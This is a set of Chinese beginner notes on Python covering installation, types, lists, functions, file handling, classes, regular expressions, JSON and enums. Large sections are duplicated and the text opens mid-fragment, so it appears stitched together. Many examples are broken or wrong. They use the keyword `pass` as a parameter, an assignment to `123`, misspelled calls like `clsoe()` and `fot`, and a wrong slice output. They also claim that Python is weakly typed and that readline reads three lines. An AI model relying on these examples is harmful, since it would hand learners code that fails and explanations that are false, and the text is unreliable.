print(data) data+=1 获取字符串或者列表的长度,len(data) 查找某些内容是否在字符串的某些地方中存在(如果不存在,返回-1),find(str,beg=0,end=len(strdata)) str为要查找的字符串,beg开始查找的位置,end结束查找的位置 错误处理 读取文件错误(当文件不存在时) try: abc = open(‘data.txt’, ‘r’) print(abc.read()) except FileNotFoundError: print(‘文件没有找到,请检查文件名称是否正确’) try…except语句可以处理程序运行过程中可能出现的异常 面向对象 class ClassName(): 'test 定义类' name = 'hallo' age = 20 def abc(self): # 实例方法 print(self.name) print(self.age) className = ClassName() # 实例化类 className.abc() # 调用类的方法 导入类 from hallo import ClassName className = ClassName() # 实例化类 className.abc() # 调用类的方法 构造函数 class ClassName(): name = 'hallo' age = 20 def __init__(self, name,age): self.name = name self.age = age a = ClassName('hahaha', 18) b = ClassName('abc', 100) print(a.name) print(a.__dict__) print(b.name) print(ClassName.name) class ClassName(): name = 'hallo' age = 20 sum = 0 def __init__(self, name,age): self.name = name self.age = age self.__class__.sum += 1 # 每调用一次构造函数就触发+1 print(self.__class.sum) 类方法 class ClassName(): sum = 0 @classmethod def Sum(cls): cls.sum += 1 print(cls.sum) ClassName.Sum() 静态方法 class ClassName(): @staticmethod def hallo(name, pass): print(name,pass) ClassName.hallo('hallo','123456') abc = ClassName() abc.hallo('hhhhh','666123') 类的成员的公开性与私有性 class ClassName(): name = 'hallo' age = 20 __pass = '' def __abc(self): # 给类的成员开头加上__将表示该成员是私有的,无法在类外部使用 print(self.name) print(self.age) 注意: 如果前后都有__,则表示公开的,如构造函数__init__,只有开头有__才是私有的,默认是公开的 Python提供一种私有保护机制,当在类外部使用时,Python会将其认为是全新的,私有的是无法被更改的,例如: class ClassName(): name = 'hallo' age = 20 __pass = '123' def abc(self): print(self.name) print(self.age) classname = ClassName() classname.__pass = '123456' print(classname.__dist__) print(classname._classname__pass) # 实质是访问类里面的私有__pass 可以看到原来的__pass变成了_classname__pass这个全新的名称,而显示__pass是新的'12345’ 类的继承 class ClassName(): def __init__(self): self.a = 123 self.b = 666 def hhh(self): print('hallo word') def gogo(self): print('hallo abc') class Hallo(ClassName): def __init__(self): super().__init__() # 调用父类的__init__,当子类重写的父类的方法后,还想调用父类原来的方法,可使用super(),该语句块实质上也是在重写的父类的__init__方法,因此需要在子类的__init__调用父类原来的__init__ def abc(self): return self.a + self.b # 继承父类的属性 def gogo(): print('hallo python') # 重写父类的gogo方法 hallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性 正则表达式 判断某个字符串中是否存在某个字符 import re abc = "hallo word" xyz = re.findall("hallo",abc) if len(xyz) > 0: print("字符串包含hallo") else: print("字符串不包含hallo") 筛选出某个字符串中存在的数值 import re abc = "0hallo1 word2" xyz = re.findall('\d',abc) print(xyz) \d是元字符,\d也是概括字符集,\d可以使用[0-9]实现相同的效果 字符集 import re abc = "aha, aca, ada, aaa, aea" xyz = re.findall('a[ha]a',abc) // xyz = re.findall('a[^ha]a',abc) // aea,^是取反 // xyz = re.findall('a[c-e]a',abc) // aca,ada,aea,c-e表示c,d,e print(xyz) // aha和aaa 数量词 import re abc = "hallo word hhhhhh" xyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括,3,6表示匹配3到6个字符 print(xyz) 贪婪与非贪婪 匹配会最大匹配,像上面的数量词的例子,hallo并没有因为3而匹配hal,而是最大匹配,直到匹配的字符不符合才停止,这就是贪婪匹配 import re abc = "hallo word hhhhhh" xyz = re.findall('[a-z]{3,6}?',abc) print(xyz) 上面的例子就是非贪婪的,匹配会最小匹配 匹配0次或无限次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc*',abc) print(xyz) 匹配1次或无限次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc+',abc) print(xyz) // abcc,abccd,abc 匹配0次或1次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc?',abc) print(xyz) // abc abc abc 边界匹配符 由于匹配只针对最小匹配,最大匹配无效,例如 import re abc = "123456789" xyz = re.findall('\d{3,6}',abc) print(xyz) // 123456,明明不符合6,但是还是输出了 边界匹配符就是解决这个问题的 import re abc = "123456789" xyz = re.findall('^\d{3,6}$',abc) // ^表示该位置开始匹配,$表示该位置结束匹配 print(xyz) 组 import re abc = "abc abc xyz hallo abc abc xyz word" xyz = re.findall('(abc)(xyz)',abc) print(xyz) json反序列化(json字符串转python字典) import json abc = '{"name": "admin", "pass":"abc123"}' xyz = json.loads(abc) print(type(xyz)) // dict字典 print(xyz) print(xyz['name']) print(xyz['pass']) json序列化(python字典转json字符串) import json abc = [ {"name": "admin", "pass":"abc123"}, {"name": "root", "pass":"1234567"} ] xyz = json.dumps(abc) print(type(xyz)) // str字符串 print(xyz) 枚举 from enum import Enum class ABC(Enum): ID = 1 USER = 2 PASS = 3 print(ABC.ID) print(type(ABC.ID)) // ABC类型 print(ABC.ID.name) // 枚举名称 print(ABC.ID.value) // 枚举值 print(ABC.ID == ABC.USER) // 枚举的比较,不支持大小比较,只支持等值比较 print(ABC.ID in ABC.USER) for i in ABC.__members__.items(): print(i) // 遍历枚举名称和值,如果只要枚举名称,则去掉.items() 枚举和类的区别:枚举值不可变,枚举具备防止枚举名称重复的功能
安装python 推荐安装anaconda3(linux) wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh dash Anaconda3-2019.10-Linux-x86_64.sh 根据提示安装,如果还是系统自带的python sudo gedit ~/.bashrc export PATH="/home/pc/anaconda3/bin:$PATH" pc为系统的用户名,请修改成自己的系统用户名,请勿在root用户下安装anaconda3 注意:如果使用anaconda3,请设置Path环境变量,/Anaconda3,/Anaconda3/Scripts,/Anaconda3brary/bin,这3个路径都需要设置 Windows和mac 到官网下载安装包,直接下一步安装 mac安装了Homebrew,可以使用brew install python3 Windows设置环境变量,PATH 安装路径 现在liunx一般都会自带有python3,如果没有可以安装一下 apt install python3 yun install python3 注意一下python2.x和python3.x这两个版本是不兼容的,要区分开 检查是否安装成功,在命令行或者终端输入python3 回车 没有反应或者报错就说明没有安装成功或者可能出问题了 Windows的一定要注意PATH系统变量 因为Python语言从规范到解释器都是开源的,所以存在多个解释器 例如CPython,安装python3.x时就可以直接获取到一个官方版本的解释器:CPython,因为是使用C语言开发的,所以叫CPython 在命令行或者终端,输入输入python3 回车,如果出现了»> 那么当前状态是python的交互模式 在交互模式下输入exit(),退出python的交互模式 在交互模式下执行第一个程序 print(“hello,world”) 回车输出hello,world,这是简单的打印字符串 除了使用交互模式执行程序,又可以使用.py,在命令行或者终端下 python hello.py,如果报错,请检查程序是否出错或者该文件是否在当前目录下 交互模式可以直接输出结果,但是使用.py文件却不会,想要输出结果,必须使用print()打印出来 一个好的开发工具往往可以达到事半功倍的效果,例如pycharm和Visual Studio Code,我使用的是Visual Studio Code print()接受多个输出,使用“,”分隔开,也可以输出整数 当你想让用户输入一点东西的时候,python提供了一个input(),用法如下 name = input() 将输入的值存放到一个变量里 input()还提供了提示功能,显示一个字符串,例如:input(“xxxxx”) 我想知道这个变量的内容咋办,可以在交互模式下直接输入变量名,回车,就可以查看该变量的内容 又可以使用print()打印下来 那么什么是变量呢? 在计算机程序中,变量不仅可以为整数或浮点数,还可以是字符串 输入是Input,输出是Output,输入输出统称为Input/Output,或者简写为IO 以#开头的语句是注释,注释是给人看的,解释器会忽略掉注释,注释可以是任何内容 其他每一行都是一个语句,当语句以冒号:结尾时,缩进的语句视为代码块 注意:python区分大小写,搞错了大小写,程序可能会报错。缩进建议使用4个空格 python能直接处理的有:整型,浮点型,字符串,布尔值,空值,变量,常量 python可以处理整型任意大小的整数,也可以使用二进制代表整数、 浮点型就是小数,使用科学记数法表示时,一个浮点数的小数点位置是可变的,所以小数又叫浮点型,表示很大或很小的浮点数,必须用科学计数法表示 字符串是使用"“和’‘括起来的任意文本,‘‘或"“本身只是一种表示方式,不是字符串的一部分 字符串内部包含’又包含"怎么办?使用转义字符来标识,转义字符可以转义很多字符,比如n表示换行,t表示制表符,字符本身也是可以转义的,所以\表示的字符就是\ 为了简化,Python还允许用r’’,用来表示’‘内部的字符串默认不转义 在交互式命令行内输入,在输入多行内容时,提示符由»>变为…,提示可以接着上一行输入,注意…是提示符,不是代码的一部分 多行字符串’‘‘xxx’’’,可以在前面加上r使用 布尔值只有两种值,分别是True和False,在计算机中布尔值要么是True,要么是False,在python中可以直接使用True、False表示布尔值,注意大小写 and是与运算,只有所有值都为True时,and运算结果才是True or运算是或运算,只要其中有一个为True,那么or运算结果就是True not运算是非运算,它是一个单目运算符,专门把True变成False,False变成True 空值,使用None表示空值,这个空值不是0,因为0是有意义的,代表什么都没有 在计算机程序中,变量不仅可以是数字,还可以是任意数据类型。 变量在程序中用一个变量名表示,变量名必须是大小写英文、数字和_的组合,且不能用数字开头, 变量名 = 任意数据类型,这个过程叫变量赋值,变量可以反复赋值 这种变量本身类型不固定的语言称之为动态语言,与之对应的是静态语言。静态语言在定义变量时必须指定变量类型,如果赋值的时候类型不匹配,就会报错。 例如golang就是一个静态语言,不能跨数据类型来赋值 x = 1 x = x+1 这个是计算新的值,并且重新赋值给该变量 a = “hello” 这时Python解释器干了两件事情: 在内存中创建了一个’hello’的字符串; 在内存中创建了一个名为a的变量,并把它指向’hallo’。 可以把一个变量a赋值给另一个变量b,这个操作实际上是把变量b指向变量a所指向的数据 因为程序是从上往下执行的,一定要理清逻辑 常量就是不能变的变量,在python中使用大写表示一个常量,例如: ABC =123 但这个常量还是可以被修改,因为Python没有任何机制可以保证该常量不会被改变,这个很奇怪 /除法计算结果是浮点数,即使是两个整数恰好整除,结果也是浮点数 当使用//除法时,两个整数的相除就可以是整数 想要做精确的除法,就必须使用/了 // 除,永远是整数 字符编码 python提供了字符转编码函数ord()和编码转字符函数chr() Python可以使用编码来输出内容 Python的字符串类型是str,在内存中以Unicode表示,一个字符对应若干个字节,可以转成bytes类型,方便传输和保存数据 在Python中bytes类型的数据用带b前缀的单引号或双引号表示:a = b"hallo word” str和bytes类型内容显示没有差别,但是bytes的每个字符都只占用一个字节 在Python中,可以使用encode()方法来指定编码,例如: ‘hallo’.encode(‘ascii’) b’hallo’ 注意:纯英文的str可以使用ASCII编码为bytes,显示内容一样,但是包含了其他语言(比如中文)的str不能使用ASCII编码,Python会报错,含有其他语言的str请使用UTF-8编码 如果想把bytes转为str,可以使用decode()方法 注意:如果bytes中包含无法解码的字节,decode()方法会报错 如果bytes中只有一小部分无效的字节,可以传入errors=‘ignore’忽略错误的字节 计算str包含多少个字符,可以用len()函数 len()函数计算的是str的字符数,如果换成bytes,len()函数就计算字节数 为了让Python按UTF-8编码读取,一般都会在文件开头声明一下: # !/usr/bin/python3 # – coding: utf-8 – 第一行是告诉计算机系统这是一个Python可执行程序,注意Windows会忽视这个 第二行是告诉Python,请按照UTF-8编码读取源代码 注意:声明并不代表文件是UTF-8编码的,请确保文本编辑器使用UTF-8 without BOM编码 如果想一些内容可以根据变量变化,那么就用到格式化字符串 在Python中,采用的格式化方式和C语言是一致的,用%实现 ‘Hello, %s $%d ’ % (‘world’) 常见的占位符有: %d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制整数 注意:%s永远起作用,它会把任何数据类型转换为字符串!!! 如果字符串里面的%只是普通字符,那么使用%%来代表一个%(转义) 还有一个格式化字符串方法:format() 它会用传入的参数依次替换字符串内的占位符{0}、{1}…….. 例如: ‘hello,{0}’.format(‘world’) Python 3的字符串使用Unicode,直接支持多语言 当str和bytes互相转换时,需要指定编码 列表(list),一种有序的集合,可以随时添加和删除其中的元素,使用[]来表示,例如: abc = [‘a’,‘b’,‘c’] 可以使用索引来访问列表的每一个元素,索引是从0开始,例如: abc[0] ‘a’ 注意:索引超出范围时,Python会抛出一个IndexError错误,记得最后一个元素的索引是len(classmates) - 1 如果想获取最后一个元素,不知道索引,又怕抛出错误,可以使用-1方法,例如: abc[-1] c 以此类推,可以获取倒数第2个、倒数第3个,-2,-3 因为这个列表是可变的有序的列表,所以可以在列表中追加元素到末尾,例如: abc.append(’d’) abc [‘a’,‘b’,‘c’,’d’] 当然也可以添加元素到指定的位置,例如: abc.insert(1,‘1’) abc [‘a’,‘1’,‘b’,‘c’,’d’] 删除列表末尾元素,使用pop()方法,例如: abc.pop() ’d’ abc [‘a’,‘1’,‘b’,‘c’] 删除指定位置的元素,使用pop(),括号中填写索引位置 abc.pop(1) ‘1’ abc [‘a’,‘b’,‘c’] 如果想把某个元素换成其他元素,可以直接赋值给对应的索引位置,例如: abc[0]=‘abc’ abc [‘abc’,‘b’,‘c’] 列表里面的元素数据类型可以不同,例如: a = [‘hallo’,666,False] 列表里面可以包含其他列表,反复嵌套,例如: a = [‘hallo’,‘word’,[‘123’.‘abc’]] 注意:这个a列表只有3个元素,其中的a[2]又是一个列表,可以拆开理解,例如: 123 = [‘hallo’,‘word’] abc = [‘666’,123,‘abc’] 想拿到’hallo’,可以写成123[1]或者abc1 这个可以看成一个二维数组 注意:当一个列表中一个元素也没有,那么就是一个空的列表,长度为0,a=[] len(a) 0 还有一个有序列表叫元组(tuple),和list很相似,不过这个一但初始化就不能修改 没有添加元素和删除元素的方法,但是可以正常使用获取元素的方法,获取方法和list一样,就是不能赋值成另外的元素 那么这个列表不能改变,那么有什么意义?因为tuple不可变,所以程序更安全 当定义一个tuple时,在定义的时候,tuple的元素就必须被确定下来 如果要定义一个空的tuple,可以写成() 正确定义只有一个元素的tuple,例如: a = (1,) a 1 为啥这样呢?因为括号()可以表示tuple,又可以表示数学公式中的小括号,防止Python按照小括号来计算,避免歧义 关于可以’改变’的tuple:实际上改变的是list,因为tuple里面可以有list列表,所以可以’改变'01 全局变量和局部变量 一般在函数内部定义的变量,为局部变量,在函数外部定义的变量为全局变量 因为作用域的问题,一般在函数内部不能真正修改到全局变量 可以使用关键字global来处理 abc = None def xyz(): global abc abc="hallo" return a print(abc) // 观察这个变量和下面的变量的区别 print(xyz()) print(abc) // 观察这个变量和上面的变量的区别 nonlocal 可以用于在函数或者其他作用域中使用上层(非全局)的变量,例如: def xyz(): abc="hallo" def go(): nonlocal abc return abc return go() print(xyz()) 函数 调用函数 函数名() python中内置了大量的函数,可以直接调用,例如: int(“666”) // 666 因为函数本身可以理解为是一个引用类型,所以函数是可以赋值给变量,例如: a = int a(“123”) // 123 定义函数 def为定义一个函数的关键字,定义一个函数例如: def abc(i): print(i) 如果有一个函数定义在另一个文件里,可以在当前文件的当前目录下,使用from abstest import导入函数 空函数: def no(): pass pass语句用于什么都不干,可以用于占位 检查函数传入的参数 检查数据类型可以使用isinstance() isinstance(1,int) // 返回布尔值,可以搭配if判断语句使用 如果想要手动设置异常,可以使用raise语句,例如: def no(i): if not isinstance(i,(int)): raise ValueError("no函数的传参必须为整数") no('1') 函数内部可以使用return来返回函数结果 使用return返回不了值,主要是没有把值取出来,例如 def a(x): return x b = a(1) print(b) // 1 python的函数参数灵活度很高 def a(x,i=1) // 默认i为1 必选参数在前,默认参数在后,当不需要默认参数可以直接覆盖掉,灵活性很高 当参数的个数不明确时,可以把参数当成list或tuple传进来,例如: def a(x): abc = 0 for a in x: abc=abc+a return abc a = a([1,2,3]) print(a) // 6 如果已经有一个list或tuple,想传进来: def xyz(*x): abc = 0 for a in x: abc=abc+a return abc b = [1,3,5] a = xyz(*b) print(a) 关键字参数可以传入0或者任意个参数,而这些参数会变成一个tuple def abc(i,**n): print(‘i:’, i, ’n:’, n) abc(“abc”) 如果已经有一个tuple,想传入: b = {1,3,5} abc(**b) 如果想限制关键字参数,例如: def xyz(i,n,*,name,age): print(i,n,name,age) xyz(1,2,name="hallo",age=18) // 1 2 hallo 18 *后面的参数被认为是命名关键字参数,限制只能使用该参数名 如果参数中已经有了可变参数,后面跟着的命名关键字参数就不需要*来分隔了 命名关键字参数必须要传入参数名,否则报错,如果命名关键字参数已经有默认值,可以不用传入 递归函数 递归函数就是这个函数反复调用它本身,例如: 从1加到100,1+2+3+…+100 def xyz(n): if n == 1: return 1 return n+xyz(n-1) a = xyz(100) print(a) // 5050 尾递归优化 递归调用次数过多,会导致堆栈溢出,溢出就是超出了最大上限的堆栈 而解决因为递归而导致的溢出的方法就是尾递归优化 但是Python解释器目前不支持尾递归优化,就算使用尾递归方式,也还是会导致堆栈溢出 def abc(n): return xyz(n,1) def xyz(n,go): if n == 1: return go return xyz(n-1,n+go) a = abc(100) print(a) 切片,顾名思义,就是取部分值,例如: a = [1,2,3,4,5] a[0:3] // [1,2,3] 索引从0开始,到3为止 支持倒数切片 a[:-1] // [1,2,3,4] 如果开头为0,可以省略不写,倒数第一个为-1 a[::2] // [1, 3, 5] 每两个取一个 a[:] // 复制一个一样的list tupel也可以使用切片,但是操作结果还是tuple a = (0,1,2,3) a[:3] // (0,1,2) 甚至连字符串都可以切片,结果还是字符串 a = “hallo” a[:2] // hallo 迭代 读写文件 abc = open(‘1.txt’,‘r’) go = abc.read(6) # 可以指定读取的数量,如果为空则读取全部 print(go) abc.clsoe() # 这个用来关闭文件 r为只读,w为写入,a为追加,rb为以二进制方式只读,wb为以二进制方式写入,ab为以二进制方式追加 abc = open(‘1.txt’,‘w’) abc.write(“hallo word!!” * 6) # 写入6条数据 abc.close() abc = open(‘1.txt’,‘r’) data = abc.readline() print(“3:%s” % data) # 读取指定行数的数据,这里为读取3行数据 abc.close() 如果想多钱全部数据,并且返回的是一个列表,列表的每一个元素为都为每一行数据,可以: abc = open(‘1.txt’, ‘r’) data = data.readlines() print(type(data)) for a in data: print(a) data.close() if判断 data = 10 if data >=18: print("成年了!") elif data>=6: print("义务教育") else: print("未成年!!!") 输入输出 data = int(input("请输入数据")) print(data) 类型转换(Python是弱类型语言,弱类型指不能对变量声明类型,只能声明数据的类型) int()整数,str()字符串,float()浮点数,bool()布尔数,list()列表,tuple()元组,chr()字符,unichr()Unicode字符等等 例如: data1 = "123" data2 = 123 print(isinstance(data1,str)) print(isinstance(data2,int)) data3 = int(data1) data4 = str(data2) print(isinstance(data3,int)) print(isinstance(data4,str)) 运算符 +加,-减,*乘,/除,//取整除,%取余,**指数 优先级和普通的算数规则一样,指数大于乘和除,取余,取整除大于加和减 字符串不能和整数相加,必须将字符串或者整数转换,字符串为拼接,整数为算数 赋值运算符 =,将右边赋值给左边的变量,可以给多个变量赋值,例如:a = b = c = 666或者a,b,c = 666,123,100 a+=1 :a=a+1,a-=1:a=a-1,a*=1::a=a*1,a/=1::a=a/1,a//=1: :a=a//1,a%=1:a=a%1 ,a**=1:a=a**1 ==比较是否相等,!=比较不相等,>大于,<小于,>=大于等于,<=小于等于 and和运算符(只有当比较全部为true才为true,否则都为false),or或运算符(只有当比较有一个为true才为true,全部为false才为false),not取反运算符(只有当比较为true才为false,当比较为false才为true) for循环和while循环 for循环可以遍历任何以序列排序的东东,比如列表和字符串 for a in "hallo word": print(a) 或者 fot a in range(1,100): print(a) range支持3个参数,分别是起始,结束,以及步长 while循环,在某个条件下为true下才会执行里面的语句 data = 0 while data < 10: print(data) data+=1 获取字符串或者列表的长度,len(data) 查找某些内容是否在字符串的某些地方中存在(如果不存在,返回-1),find(str,beg=0,end=len(strdata)) str为要查找的字符串,beg开始查找的位置,end结束查找的位置 错误处理 读取文件错误(当文件不存在时) try: abc = open(‘data.txt’, ‘r’) print(abc.read()) except FileNotFoundError: print(‘文件没有找到,请检查文件名称是否正确’) try…except语句可以处理程序运行过程中可能出现的异常 面向对象 class ClassName(): 'test 定义类' name = 'hallo' age = 20 def abc(self): # 实例方法 print(self.name) print(self.age) className = ClassName() # 实例化类 className.abc() # 调用类的方法 导入类 from hallo import ClassName className = ClassName() # 实例化类 className.abc() # 调用类的方法 构造函数 class ClassName(): name = 'hallo' age = 20 def __init__(self, name,age): self.name = name self.age = age a = ClassName('hahaha', 18) b = ClassName('abc', 100) print(a.name) print(a.__dict__) print(b.name) print(ClassName.name) class ClassName(): name = 'hallo' age = 20 sum = 0 def __init__(self, name,age): self.name = name self.age = age self.__class__.sum += 1 # 每调用一次构造函数就触发+1 print(self.__class.sum) 类方法 class ClassName(): sum = 0 @classmethod def Sum(cls): cls.sum += 1 print(cls.sum) ClassName.Sum() 静态方法 class ClassName(): @staticmethod def hallo(name, pass): print(name,pass) ClassName.hallo('hallo','123456') abc = ClassName() abc.hallo('hhhhh','666123') 类的成员的公开性与私有性 class ClassName(): name = 'hallo' age = 20 __pass = '' def __abc(self): # 给类的成员开头加上__将表示该成员是私有的,无法在类外部使用 print(self.name) print(self.age) 注意: 如果前后都有__,则表示公开的,如构造函数__init__,只有开头有__才是私有的,默认是公开的 Python提供一种私有保护机制,当在类外部使用时,Python会将其认为是全新的,私有的是无法被更改的,例如: class ClassName(): name = 'hallo' age = 20 __pass = '123' def abc(self): print(self.name) print(self.age) classname = ClassName() classname.__pass = '123456' print(classname.__dist__) print(classname._classname__pass) # 实质是访问类里面的私有__pass 可以看到原来的__pass变成了_classname__pass这个全新的名称,而显示__pass是新的'12345’ 类的继承 class ClassName(): def __init__(self): self.a = 123 self.b = 666 def hhh(self): print('hallo word') def gogo(self): print('hallo abc') class Hallo(ClassName): def __init__(self): super().__init__() # 调用父类的__init__,当子类重写的父类的方法后,还想调用父类原来的方法,可使用super(),该语句块实质上也是在重写的父类的__init__方法,因此需要在子类的__init__调用父类原来的__init__ def abc(self): return self.a + self.b # 继承父类的属性 def gogo(): print('hallo python') # 重写父类的gogo方法 hallo = Hallo() hallo.hhh # 调用父类的hhh方法 hallo.a # 调用父类的属性 正则表达式 判断某个字符串中是否存在某个字符 import re abc = "hallo word" xyz = re.findall("hallo",abc) if len(xyz) > 0: print("字符串包含hallo") else: print("字符串不包含hallo") 筛选出某个字符串中存在的数值 import re abc = "0hallo1 word2" xyz = re.findall('\d',abc) print(xyz) \d是元字符,\d也是概括字符集,\d可以使用[0-9]实现相同的效果 字符集 import re abc = "aha, aca, ada, aaa, aea" xyz = re.findall('a[ha]a',abc) // xyz = re.findall('a[^ha]a',abc) // aea,^是取反 // xyz = re.findall('a[c-e]a',abc) // aca,ada,aea,c-e表示c,d,e print(xyz) // aha和aaa 数量词 import re abc = "hallo word hhhhhh" xyz = re.findall('[a-z]{3,6}',abc) // 数量词使用{}包括,3,6表示匹配3到6个字符 print(xyz) 贪婪与非贪婪 匹配会最大匹配,像上面的数量词的例子,hallo并没有因为3而匹配hal,而是最大匹配,直到匹配的字符不符合才停止,这就是贪婪匹配 import re abc = "hallo word hhhhhh" xyz = re.findall('[a-z]{3,6}?',abc) print(xyz) 上面的例子就是非贪婪的,匹配会最小匹配 匹配0次或无限次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc*',abc) print(xyz) 匹配1次或无限次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc+',abc) print(xyz) // abcc,abccd,abc 匹配0次或1次 import re abc = "aba abcc abccd abc" xyz = re.findall('abc?',abc) print(xyz) // abc abc abc 边界匹配符 由于匹配只针对最小匹配,最大匹配无效,例如 import re abc = "123456789" xyz = re.findall('\d{3,6}',abc) print(xyz) // 123456,明明不符合6,但是还是输出了 边界匹配符就是解决这个问题的 import re abc = "123456789" xyz = re.findall('^\d{3,6}$',abc) // ^表示该位置开始匹配,$表示该位置结束匹配 print(xyz) 组 import re abc = "abc abc xyz hallo abc abc xyz word" xyz = re.findall('(abc)(xyz)',abc) print(xyz) json反序列化(json字符串转python字典) import json abc = '{"name": "admin", "pass":"abc123"}' xyz = json.loads(abc) print(type(xyz)) // dict字典 print(xyz) print(xyz['name']) print(xyz['pass']) json序列化(python字典转json字符串) import json abc = [ {"name": "admin", "pass":"abc123"}, {"name": "root", "pass":"1234567"} ] xyz = json.dumps(abc) print(type(xyz)) // str字符串 print(xyz) 枚举 from enum import Enum class ABC(Enum): ID = 1 USER = 2 PASS = 3 print(ABC.ID) print(type(ABC.ID)) // ABC类型 print(ABC.ID.name) // 枚举名称 print(ABC.ID.value) // 枚举值 print(ABC.ID == ABC.USER) // 枚举的比较,不支持大小比较,只支持等值比较 print(ABC.ID in ABC.USER) for i in ABC.__members__.items(): print(i) // 遍历枚举名称和值,如果只要枚举名称,则去掉.items() 枚举和类的区别:枚举值不可变,枚举具备防止枚举名称重复的功能